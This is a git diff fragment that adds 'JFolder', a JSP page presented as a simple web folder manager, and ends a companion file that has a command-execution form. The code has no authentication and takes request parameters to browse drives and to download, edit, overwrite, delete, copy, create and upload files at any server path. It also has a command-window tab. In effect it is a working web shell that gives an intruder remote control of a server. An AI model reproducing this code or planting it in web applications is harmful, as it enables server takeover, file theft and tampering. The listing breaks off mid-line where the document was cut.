|
||||
<input type="hidden" name="tabID" value="2">
|
||||
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
|
||||
</form>
|
||||
<%
|
||||
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
|
||||
{
|
||||
%>
|
||||
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
|
||||
<br>
|
||||
<%
|
||||
}
|
||||
%>
|
||||
</DIV>
|
||||
</div>
|
||||
<br><br>
|
||||
<center><a href="http://www.topronet.com" target="_blank">www.topronet.com</a> ,All Rights Reserved.
|
||||
<br>Any question, please email me cqq1978@Gmail.com
|
||||
|
994
jsp/jsp.jsp
Normal file
994
jsp/jsp.jsp
Normal file
|
@ -0,0 +1,994 @@
|
|||
<%
|
||||
/**
|
||||
JFolder V0.9 windows platform
|
||||
@Filename: JFolder.jsp
|
||||
@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能弱多了。
|
||||
@Author: Steven Cee
|
||||
@Email : cqq1978@Gmail.com
|
||||
@Bugs : 下载时,中文文件名无法正常显示
|
||||
*/
|
||||
%>
|
||||
<%@ page contentType="text/html;charset=gb2312"%>
|
||||
<%@page import="java.io.*,java.util.*,java.net.*" %>
|
||||
<%!
|
||||
private final static int languageNo=0; //语言版本,0 : 中文; 1:英文
|
||||
String strThisFile="JFolder.jsp";
|
||||
String[] authorInfo={" <font color=red> 写的不好,将就着用吧 - - by 慈勤强 http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};
|
||||
String[] strFileManage = {"文 件 管 理","File Management"};
|
||||
String[] strCommand = {"CMD 命 令","Command Window"};
|
||||
String[] strSysProperty = {"系 统 属 性","System Property"};
|
||||
String[] strHelp = {"帮 助","Help"};
|
||||
String[] strParentFolder = {"上级目录","Parent Folder"};
|
||||
String[] strCurrentFolder= {"当前目录","Current Folder"};
|
||||
String[] strDrivers = {"驱动器","Drivers"};
|
||||
String[] strFileName = {"文件名称","File Name"};
|
||||
String[] strFileSize = {"文件大小","File Size"};
|
||||
String[] strLastModified = {"最后修改","Last Modified"};
|
||||
String[] strFileOperation= {"文件操作","Operations"};
|
||||
String[] strFileEdit = {"修改","Edit"};
|
||||
String[] strFileDown = {"下载","Download"};
|
||||
String[] strFileCopy = {"复制","Move"};
|
||||
String[] strFileDel = {"删除","Delete"};
|
||||
String[] strExecute = {"执行","Execute"};
|
||||
String[] strBack = {"返回","Back"};
|
||||
String[] strFileSave = {"保存","Save"};
|
||||
|
||||
public class FileHandler
|
||||
{
|
||||
private String strAction="";
|
||||
private String strFile="";
|
||||
void FileHandler(String action,String f)
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
public static class UploadMonitor {
|
||||
|
||||
static Hashtable uploadTable = new Hashtable();
|
||||
|
||||
static void set(String fName, UplInfo info) {
|
||||
uploadTable.put(fName, info);
|
||||
}
|
||||
|
||||
static void remove(String fName) {
|
||||
uploadTable.remove(fName);
|
||||
}
|
||||
|
||||
static UplInfo getInfo(String fName) {
|
||||
UplInfo info = (UplInfo) uploadTable.get(fName);
|
||||
return info;
|
||||
}
|
||||
}
|
||||
|
||||
public class UplInfo {
|
||||
|
||||
public long totalSize;
|
||||
public long currSize;
|
||||
public long starttime;
|
||||
public boolean aborted;
|
||||
|
||||
public UplInfo() {
|
||||
totalSize = 0l;
|
||||
currSize = 0l;
|
||||
starttime = System.currentTimeMillis();
|
||||
aborted = false;
|
||||
}
|
||||
|
||||
public UplInfo(int size) {
|
||||
totalSize = size;
|
||||
currSize = 0;
|
||||
starttime = System.currentTimeMillis();
|
||||
aborted = false;
|
||||
}
|
||||
|
||||
public String getUprate() {
|
||||
long time = System.currentTimeMillis() - starttime;
|
||||
if (time != 0) {
|
||||
long uprate = currSize * 1000 / time;
|
||||
return convertFileSize(uprate) + "/s";
|
||||
}
|
||||
else return "n/a";
|
||||
}
|
||||
|
||||
public int getPercent() {
|
||||
if (totalSize == 0) return 0;
|
||||
else return (int) (currSize * 100 / totalSize);
|
||||
}
|
||||
|
||||
public String getTimeElapsed() {
|
||||
long time = (System.currentTimeMillis() - starttime) / 1000l;
|
||||
if (time - 60l >= 0){
|
||||
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||
else return time / 60 + ":0" + (time % 60) + "m";
|
||||
}
|
||||
else return time<10 ? "0" + time + "s": time + "s";
|
||||
}
|
||||
|
||||
public String getTimeEstimated() {
|
||||
if (currSize == 0) return "n/a";
|
||||
long time = System.currentTimeMillis() - starttime;
|
||||
time = totalSize * time / currSize;
|
||||
time /= 1000l;
|
||||
if (time - 60l >= 0){
|
||||
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||
else return time / 60 + ":0" + (time % 60) + "m";
|
||||
}
|
||||
else return time<10 ? "0" + time + "s": time + "s";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public class FileInfo {
|
||||
|
||||
public String name = null, clientFileName = null, fileContentType = null;
|
||||
private byte[] fileContents = null;
|
||||
public File file = null;
|
||||
public StringBuffer sb = new StringBuffer(100);
|
||||
|
||||
public void setFileContents(byte[] aByteArray) {
|
||||
fileContents = new byte[aByteArray.length];
|
||||
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
|
||||
}
|
||||
}
|
||||
|
||||
// A Class with methods used to process a ServletInputStream
|
||||
public class HttpMultiPartParser {
|
||||
|
||||
private final String lineSeparator = System.getProperty("line.separator", "\n");
|
||||
private final int ONE_MB = 1024 * 1;
|
||||
|
||||
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
|
||||
int clength) throws IllegalArgumentException, IOException {
|
||||
if (is == null) throw new IllegalArgumentException("InputStream");
|
||||
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
|
||||
"\"" + boundary + "\" is an illegal boundary indicator");
|
||||
boundary = "--" + boundary;
|
||||
StringTokenizer stLine = null, stFields = null;
|
||||
FileInfo fileInfo = null;
|
||||
Hashtable dataTable = new Hashtable(5);
|
||||
String line = null, field = null, paramName = null;
|
||||
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
|
||||
boolean isFile = false;
|
||||
if (saveFiles) { // Create the required directory (including parent dirs)
|
||||
File f = new File(saveInDir);
|
||||
f.mkdirs();
|
||||
}
|
||||
line = getLine(is);
|
||||
if (line == null || !line.startsWith(boundary)) throw new IOException(
|
||||
"Boundary not found; boundary = " + boundary + ", line = " + line);
|
||||
while (line != null) {
|
||||
if (line == null || !line.startsWith(boundary)) return dataTable;
|
||||
line = getLine(is);
|
||||
if (line == null) return dataTable;
|
||||
stLine = new StringTokenizer(line, ";\r\n");
|
||||
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||
"Bad data in second line");
|
||||
line = stLine.nextToken().toLowerCase();
|
||||
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
|
||||
"Bad data in second line");
|
||||
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
|
||||
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
|
||||
"Bad data in second line");
|
||||
fileInfo = new FileInfo();
|
||||
stFields.nextToken();
|
||||
paramName = stFields.nextToken();
|
||||
isFile = false;
|
||||
if (stLine.hasMoreTokens()) {
|
||||
field = stLine.nextToken();
|
||||
stFields = new StringTokenizer(field, "=\"");
|
||||
if (stFields.countTokens() > 1) {
|
||||
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
|
||||
fileInfo.name = paramName;
|
||||
String value = stFields.nextToken();
|
||||
if (value != null && value.trim().length() > 0) {
|
||||
fileInfo.clientFileName = value;
|
||||
isFile = true;
|
||||
}
|
||||
else {
|
||||
line = getLine(is); // Skip "Content-Type:" line
|
||||
line = getLine(is); // Skip blank line
|
||||
line = getLine(is); // Skip blank line
|
||||
line = getLine(is); // Position to boundary line
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (field.toLowerCase().indexOf("filename") >= 0) {
|
||||
line = getLine(is); // Skip "Content-Type:" line
|
||||
line = getLine(is); // Skip blank line
|
||||
line = getLine(is); // Skip blank line
|
||||
line = getLine(is); // Position to boundary line
|
||||
continue;
|
||||
}
|
||||
}
|
||||
boolean skipBlankLine = true;
|
||||
if (isFile) {
|
||||
line = getLine(is);
|
||||
if (line == null) return dataTable;
|
||||
if (line.trim().length() < 1) skipBlankLine = false;
|
||||
else {
|
||||
stLine = new StringTokenizer(line, ": ");
|
||||
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||
"Bad data in third line");
|
||||
stLine.nextToken(); // Content-Type
|
||||
fileInfo.fileContentType = stLine.nextToken();
|
||||
}
|
||||
}
|
||||
if (skipBlankLine) {
|
||||
line = getLine(is);
|
||||
if (line == null) return dataTable;
|
||||
}
|
||||
if (!isFile) {
|
||||
line = getLine(is);
|
||||
if (line == null) return dataTable;
|
||||
dataTable.put(paramName, line);
|
||||
// If parameter is dir, change saveInDir to dir
|
||||
if (paramName.equals("dir")) saveInDir = line;
|
||||
line = getLine(is);
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
UplInfo uplInfo = new UplInfo(clength);
|
||||
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
|
||||
OutputStream os = null;
|
||||
String path = null;
|
||||
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
|
||||
fileInfo.clientFileName));
|
||||
else os = new ByteArrayOutputStream(ONE_MB);
|
||||
boolean readingContent = true;
|
||||
byte previousLine[] = new byte[2 * ONE_MB];
|
||||
byte temp[] = null;
|
||||
byte currentLine[] = new byte[2 * ONE_MB];
|
||||
int read, read3;
|
||||
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
|
||||
line = null;
|
||||
break;
|
||||
}
|
||||
while (readingContent) {
|
||||
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
|
||||
line = null;
|
||||
uplInfo.aborted = true;
|
||||
break;
|
||||
}
|
||||
if (compareBoundary(boundary, currentLine)) {
|
||||
os.write(previousLine, 0, read - 2);
|
||||
line = new String(currentLine, 0, read3);
|
||||
break;
|
||||
}
|
||||
else {
|
||||
os.write(previousLine, 0, read);
|
||||
uplInfo.currSize += read;
|
||||
temp = currentLine;
|
||||
currentLine = previousLine;
|
||||
previousLine = temp;
|
||||
read = read3;
|
||||
}//end else
|
||||
}//end while
|
||||
os.flush();
|
||||
os.close();
|
||||
if (!saveFiles) {
|
||||
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
|
||||
fileInfo.setFileContents(baos.toByteArray());
|
||||
}
|
||||
else fileInfo.file = new File(path);
|
||||
dataTable.put(paramName, fileInfo);
|
||||
uplInfo.currSize = uplInfo.totalSize;
|
||||
}//end try
|
||||
catch (IOException e) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
return dataTable;
|
||||
}
|
||||
|
||||
/**
|
||||
* Compares boundary string to byte array
|
||||
*/
|
||||
private boolean compareBoundary(String boundary, byte ba[]) {
|
||||
byte b;
|
||||
if (boundary == null || ba == null) return false;
|
||||
for (int i = 0; i < boundary.length(); i++)
|
||||
if ((byte) boundary.charAt(i) != ba[i]) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
/** Convenience method to read HTTP header lines */
|
||||
private synchronized String getLine(ServletInputStream sis) throws IOException {
|
||||
byte b[] = new byte[1024];
|
||||
int read = sis.readLine(b, 0, b.length), index;
|
||||
String line = null;
|
||||
if (read != -1) {
|
||||
line = new String(b, 0, read);
|
||||
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
|
||||
}
|
||||
return line;
|
||||
}
|
||||
|
||||
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
|
||||
String path = null;
|
||||
if (dir == null || fileName == null) throw new IllegalArgumentException(
|
||||
"dir or fileName is null");
|
||||
int index = fileName.lastIndexOf('/');
|
||||
String name = null;
|
||||
if (index >= 0) name = fileName.substring(index + 1);
|
||||
else name = fileName;
|
||||
index = name.lastIndexOf('\\');
|
||||
if (index >= 0) fileName = name.substring(index + 1);
|
||||
path = dir + File.separator + fileName;
|
||||
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
|
||||
else return path.replace('/', File.separatorChar);
|
||||
}
|
||||
} //End of class HttpMultiPartParser
|
||||
|
||||
String formatPath(String p)
|
||||
{
|
||||
StringBuffer sb=new StringBuffer();
|
||||
for (int i = 0; i < p.length(); i++)
|
||||
{
|
||||
if(p.charAt(i)=='\\')
|
||||
{
|
||||
sb.append("\\\\");
|
||||
}
|
||||
else
|
||||
{
|
||||
sb.append(p.charAt(i));
|
||||
}
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts some important chars (int) to the corresponding html string
|
||||
*/
|
||||
static String conv2Html(int i) {
|
||||
if (i == '&') return "&";
|
||||
else if (i == '<') return "<";
|
||||
else if (i == '>') return ">";
|
||||
else if (i == '"') return """;
|
||||
else return "" + (char) i;
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts a normal string to a html conform string
|
||||
*/
|
||||
static String htmlEncode(String st) {
|
||||
StringBuffer buf = new StringBuffer();
|
||||
for (int i = 0; i < st.length(); i++) {
|
||||
buf.append(conv2Html(st.charAt(i)));
|
||||
}
|
||||
return buf.toString();
|
||||
}
|
||||
String getDrivers()
|
||||
/**
|
||||
Windows系统上取得可用的所有逻辑盘
|
||||
*/
|
||||
{
|
||||
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
|
||||
File roots[]=File.listRoots();
|
||||
for(int i=0;i<roots.length;i++)
|
||||
{
|
||||
sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
|
||||
sb.append(roots[i]+"</a> ");
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
static String convertFileSize(long filesize)
|
||||
{
|
||||
//bug 5.09M 显示5.9M
|
||||
String strUnit="Bytes";
|
||||
String strAfterComma="";
|
||||
int intDivisor=1;
|
||||
if(filesize>=1024*1024)
|
||||
{
|
||||
strUnit = "MB";
|
||||
intDivisor=1024*1024;
|
||||
}
|
||||
else if(filesize>=1024)
|
||||
{
|
||||
strUnit = "KB";
|
||||
intDivisor=1024;
|
||||
}
|
||||
if(intDivisor==1) return filesize + " " + strUnit;
|
||||
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
|
||||
if(strAfterComma=="") strAfterComma=".0";
|
||||
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
|
||||
}
|
||||
%>
|
||||
<%
|
||||
request.setCharacterEncoding("gb2312");
|
||||
String tabID = request.getParameter("tabID");
|
||||
String strDir = request.getParameter("path");
|
||||
String strAction = request.getParameter("action");
|
||||
String strFile = request.getParameter("file");
|
||||
String strPath = strDir + "\\" + strFile;
|
||||
String strCmd = request.getParameter("cmd");
|
||||
StringBuffer sbEdit=new StringBuffer("");
|
||||
StringBuffer sbDown=new StringBuffer("");
|
||||
StringBuffer sbCopy=new StringBuffer("");
|
||||
StringBuffer sbSaveCopy=new StringBuffer("");
|
||||
StringBuffer sbNewFile=new StringBuffer("");
|
||||
|
||||
if((tabID==null) || tabID.equals(""))
|
||||
{
|
||||
tabID = "1";
|
||||
}
|
||||
|
||||
if(strDir==null||strDir.length()<1)
|
||||
{
|
||||
strDir = request.getRealPath("/");
|
||||
}
|
||||
|
||||
|
||||
if(strAction!=null && strAction.equals("down"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
if(f.length()==0)
|
||||
{
|
||||
sbDown.append("文件大小为 0 字节,就不用下了吧");
|
||||
}
|
||||
else
|
||||
{
|
||||
response.setHeader("content-type","text/html; charset=ISO-8859-1");
|
||||
response.setContentType("APPLICATION/OCTET-STREAM");
|
||||
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
|
||||
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
|
||||
out.clearBuffer();
|
||||
int i;
|
||||
while ((i=fileInputStream.read()) != -1)
|
||||
{
|
||||
out.write(i);
|
||||
}
|
||||
fileInputStream.close();
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
if(strAction!=null && strAction.equals("del"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
f.delete();
|
||||
}
|
||||
|
||||
if(strAction!=null && strAction.equals("edit"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
|
||||
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
|
||||
sbEdit.append("<input type=hidden name=action value=save >\r\n");
|
||||
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
|
||||
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> "+strPath+"\r\n");
|
||||
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
|
||||
String line="";
|
||||
while((line=br.readLine())!=null)
|
||||
{
|
||||
sbEdit.append(htmlEncode(line)+"\r\n");
|
||||
}
|
||||
sbEdit.append("</textarea>");
|
||||
sbEdit.append("<input type=hidden name=path value="+strDir+">");
|
||||
sbEdit.append("</form>");
|
||||
}
|
||||
|
||||
if(strAction!=null && strAction.equals("save"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
|
||||
String strContent=request.getParameter("content");
|
||||
bw.write(strContent);
|
||||
bw.close();
|
||||
}
|
||||
if(strAction!=null && strAction.equals("copy"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
|
||||
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
|
||||
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||
sbCopy.append("原始文件: "+strPath+"<p>");
|
||||
sbCopy.append("目标文件: <input type=text name=file2 size=40 value='"+strDir+"'><p>");
|
||||
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
|
||||
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n");
|
||||
sbCopy.append("</form>");
|
||||
}
|
||||
if(strAction!=null && strAction.equals("savecopy"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
String strDesFile=request.getParameter("file2");
|
||||
if(strDesFile==null || strDesFile.equals(""))
|
||||
{
|
||||
sbSaveCopy.append("<p><font color=red>目标文件错误。</font>");
|
||||
}
|
||||
else
|
||||
{
|
||||
File f_des=new File(strDesFile);
|
||||
if(f_des.isFile())
|
||||
{
|
||||
sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>");
|
||||
}
|
||||
else
|
||||
{
|
||||
String strTmpFile=strDesFile;
|
||||
if(f_des.isDirectory())
|
||||
{
|
||||
if(!strDesFile.endsWith("\\"))
|
||||
{
|
||||
strDesFile=strDesFile+"\\";
|
||||
}
|
||||
strTmpFile=strDesFile+"cqq_"+strFile;
|
||||
}
|
||||
|
||||
File f_des_copy=new File(strTmpFile);
|
||||
FileInputStream in1=new FileInputStream(f);
|
||||
FileOutputStream out1=new FileOutputStream(f_des_copy);
|
||||
byte[] buffer=new byte[1024];
|
||||
int c;
|
||||
while((c=in1.read(buffer))!=-1)
|
||||
{
|
||||
out1.write(buffer,0,c);
|
||||
}
|
||||
in1.close();
|
||||
out1.close();
|
||||
|
||||
sbSaveCopy.append("原始文件 :"+strPath+"<p>");
|
||||
sbSaveCopy.append("目标文件 :"+strTmpFile+"<p>");
|
||||
sbSaveCopy.append("<font color=red>复制成功!</font>");
|
||||
}
|
||||
}
|
||||
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=返回>");
|
||||
}
|
||||
if(strAction!=null && strAction.equals("newFile"))
|
||||
{
|
||||
String strF=request.getParameter("fileName");
|
||||
String strType1=request.getParameter("btnNewFile");
|
||||
String strType2=request.getParameter("btnNewDir");
|
||||
String strType="";
|
||||
if(strType1==null)
|
||||
{
|
||||
strType="Dir";
|
||||
}
|
||||
else if(strType2==null)
|
||||
{
|
||||
strType="File";
|
||||
}
|
||||
if(!strType.equals("") && !(strF==null || strF.equals("")))
|
||||
{
|
||||
File f_new=new File(strF);
|
||||
if(strType.equals("File") && !f_new.createNewFile())
|
||||
sbNewFile.append(strF+" 文件创建失败");
|
||||
if(strType.equals("Dir") && !f_new.mkdirs())
|
||||
sbNewFile.append(strF+" 目录创建失败");
|
||||
}
|
||||
else
|
||||
{
|
||||
sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
|
||||
}
|
||||
}
|
||||
|
||||
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
|
||||
{
|
||||
String tempdir=".";
|
||||
boolean error=false;
|
||||
response.setContentType("text/html");
|
||||
sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
|
||||
HttpMultiPartParser parser = new HttpMultiPartParser();
|
||||
|
||||
int bstart = request.getContentType().lastIndexOf("oundary=");
|
||||
String bound = request.getContentType().substring(bstart + 8);
|
||||
int clength = request.getContentLength();
|
||||
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
|
||||
if (ht.get("cqqUploadFile") != null)
|
||||
{
|
||||
|
||||
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
|
||||
File f1 = fi.file;
|
||||
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
|
||||
if (info != null && info.aborted)
|
||||
{
|
||||
f1.delete();
|
||||
request.setAttribute("error", "Upload aborted");
|
||||
}
|
||||
else
|
||||
{
|
||||
String path = (String) ht.get("path");
|
||||
if(path!=null && !path.endsWith("\\"))
|
||||
path = path + "\\";
|
||||
if (!f1.renameTo(new File(path + f1.getName())))
|
||||
{
|
||||
request.setAttribute("error", "Cannot upload file.");
|
||||
error = true;
|
||||
f1.delete();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
%>
|
||||
<html>
|
||||
<head>
|
||||
<style type="text/css">
|
||||
td,select,input,body{font-size:9pt;}
|
||||
A { TEXT-DECORATION: none }
|
||||
|
||||
#tablist{
|
||||
padding: 5px 0;
|
||||
margin-left: 0;
|
||||
margin-bottom: 0;
|
||||
margin-top: 0.1em;
|
||||
font:9pt;
|
||||
}
|
||||
|
||||
#tablist li{
|
||||
list-style: none;
|
||||
display: inline;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
#tablist li a{
|
||||
padding: 3px 0.5em;
|
||||
margin-left: 3px;
|
||||
border: 1px solid ;
|
||||
background: F6F6F6;
|
||||
}
|
||||
|
||||
#tablist li a:link, #tablist li a:visited{
|
||||
color: navy;
|
||||
}
|
||||
|
||||
#tablist li a.current{
|
||||
background: #EAEAFF;
|
||||
}
|
||||
|
||||
#tabcontentcontainer{
|
||||
width: 100%;
|
||||
padding: 5px;
|
||||
border: 1px solid black;
|
||||
}
|
||||
|
||||
.tabcontent{
|
||||
display:none;
|
||||
}
|
||||
|
||||
</style>
|
||||
|
||||
<script type="text/javascript">
|
||||
|
||||
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
|
||||
|
||||
////////Stop editting////////////////
|
||||
|
||||
function cascadedstyle(el, cssproperty, csspropertyNS){
|
||||
if (el.currentStyle)
|
||||
return el.currentStyle[cssproperty]
|
||||
else if (window.getComputedStyle){
|
||||
var elstyle=window.getComputedStyle(el, "")
|
||||
return elstyle.getPropertyValue(csspropertyNS)
|
||||
}
|
||||
}
|
||||
|
||||
var previoustab=""
|
||||
|
||||
function expandcontent(cid, aobject){
|
||||
if (document.getElementById){
|
||||
highlighttab(aobject)
|
||||
if (previoustab!="")
|
||||
document.getElementById(previoustab).style.display="none"
|
||||
document.getElementById(cid).style.display="block"
|
||||
previoustab=cid
|
||||
if (aobject.blur)
|
||||
aobject.blur()
|
||||
return false
|
||||
}
|
||||
else
|
||||
return true
|
||||
}
|
||||
|
||||
function highlighttab(aobject){
|
||||
if (typeof tabobjlinks=="undefined")
|
||||
collecttablinks()
|
||||
for (i=0; i<tabobjlinks.length; i++)
|
||||
tabobjlinks[i].style.backgroundColor=initTabcolor
|
||||
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
|
||||
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
|
||||
}
|
||||
|
||||
function collecttablinks(){
|
||||
var tabobj=document.getElementById("tablist")
|
||||
tabobjlinks=tabobj.getElementsByTagName("A")
|
||||
}
|
||||
|
||||
function do_onload(){
|
||||
collecttablinks()
|
||||
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
|
||||
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
|
||||
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
|
||||
}
|
||||
|
||||
if (window.addEventListener)
|
||||
window.addEventListener("load", do_onload, false)
|
||||
else if (window.attachEvent)
|
||||
window.attachEvent("onload", do_onload)
|
||||
else if (document.getElementById)
|
||||
window.onload=do_onload
|
||||
|
||||
|
||||
|
||||
</script>
|
||||
<script language="javascript">
|
||||
|
||||
function doForm(action,path,file,cmd,tab,content)
|
||||
{
|
||||
document.frmCqq.action.value=action;
|
||||
document.frmCqq.path.value=path;
|
||||
document.frmCqq.file.value=file;
|
||||
document.frmCqq.cmd.value=cmd;
|
||||
document.frmCqq.tabID.value=tab;
|
||||
document.frmCqq.content.value=content;
|
||||
if(action=="del")
|
||||
{
|
||||
if(confirm("确定要删除文件 "+file+" 吗?"))
|
||||
document.frmCqq.submit();
|
||||
}
|
||||
else
|
||||
{
|
||||
document.frmCqq.submit();
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<title>JFoler 0.9 ---A jsp based web folder management tool by Steven Cee</title>
|
||||
<head>
|
||||
|
||||
|
||||
<body>
|
||||
|
||||
<form name="frmCqq" method="post" action="">
|
||||
<input type="hidden" name="action" value="">
|
||||
<input type="hidden" name="path" value="">
|
||||
<input type="hidden" name="file" value="">
|
||||
<input type="hidden" name="cmd" value="">
|
||||
<input type="hidden" name="tabID" value="2">
|
||||
<input type="hidden" name="content" value="">
|
||||
</form>
|
||||
|
||||
<!--Top Menu Started-->
|
||||
<ul id="tablist">
|
||||
<li><a href="http://www.smallrain.net" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
|
||||
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
|
||||
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
|
||||
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
|
||||
<%=authorInfo[languageNo]%>
|
||||
</ul>
|
||||
<!--Top Menu End-->
|
||||
|
||||
|
||||
<%
|
||||
StringBuffer sbFolder=new StringBuffer("");
|
||||
StringBuffer sbFile=new StringBuffer("");
|
||||
try
|
||||
{
|
||||
File objFile = new File(strDir);
|
||||
File list[] = objFile.listFiles();
|
||||
if(objFile.getAbsolutePath().length()>3)
|
||||
{
|
||||
sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
|
||||
|
||||
|
||||
}
|
||||
for(int i=0;i<list.length;i++)
|
||||
{
|
||||
if(list[i].isDirectory())
|
||||
{
|
||||
sbFolder.append("<tr><td > </td><td>");
|
||||
sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
|
||||
}
|
||||
else
|
||||
{
|
||||
String strLen="";
|
||||
String strDT="";
|
||||
long lFile=0;
|
||||
lFile=list[i].length();
|
||||
strLen = convertFileSize(lFile);
|
||||
Date dt=new Date(list[i].lastModified());
|
||||
strDT=dt.toLocaleString();
|
||||
sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
|
||||
sbFile.append(""+list[i].getName());
|
||||
sbFile.append("</td><td>");
|
||||
sbFile.append(""+strLen);
|
||||
sbFile.append("</td><td>");
|
||||
sbFile.append(""+strDT);
|
||||
sbFile.append("</td><td>");
|
||||
|
||||
sbFile.append(" <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||
sbFile.append(strFileEdit[languageNo]+"</a> ");
|
||||
|
||||
sbFile.append(" <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||
sbFile.append(strFileDel[languageNo]+"</a> ");
|
||||
|
||||
sbFile.append(" <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||
sbFile.append(strFileDown[languageNo]+"</a> ");
|
||||
|
||||
sbFile.append(" <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||
